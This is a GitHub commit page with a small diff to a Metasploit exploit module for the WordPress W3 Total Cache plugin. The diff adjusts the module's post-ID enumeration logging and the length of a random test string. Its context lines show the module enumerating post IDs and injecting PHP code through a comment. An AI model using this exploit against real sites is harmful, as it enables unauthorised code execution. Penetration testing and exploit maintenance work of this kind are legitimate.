Skip to content

Commit 9b5e96b

Browse files
author
jvazquez-r7
committed
Fix @jlee-r7's feedback
1 parent 52b721c commit 9b5e96b

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/unix/webapp/php_wordpress_total_cache.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -128,7 +128,7 @@ def check_post_id(uri)
128128

129129
def find_post_id
130130
(1..1000).each{|id|
131-
vprint_status("#{peer} - Checking POST ID #{id}...")
131+
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
132132
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
133133
return id if res
134134
}
@@ -195,7 +195,7 @@ def exploit
195195
end
196196
end
197197

198-
random_test = rand_text_alpha(4096)
198+
random_test = rand_text_alpha(64)
199199
@sum = Rex::Text.sha1(random_test)
200200

201201
print_status("#{peer} - Injecting the PHP Code throw a comment...")

0 commit comments

Comments
 (0)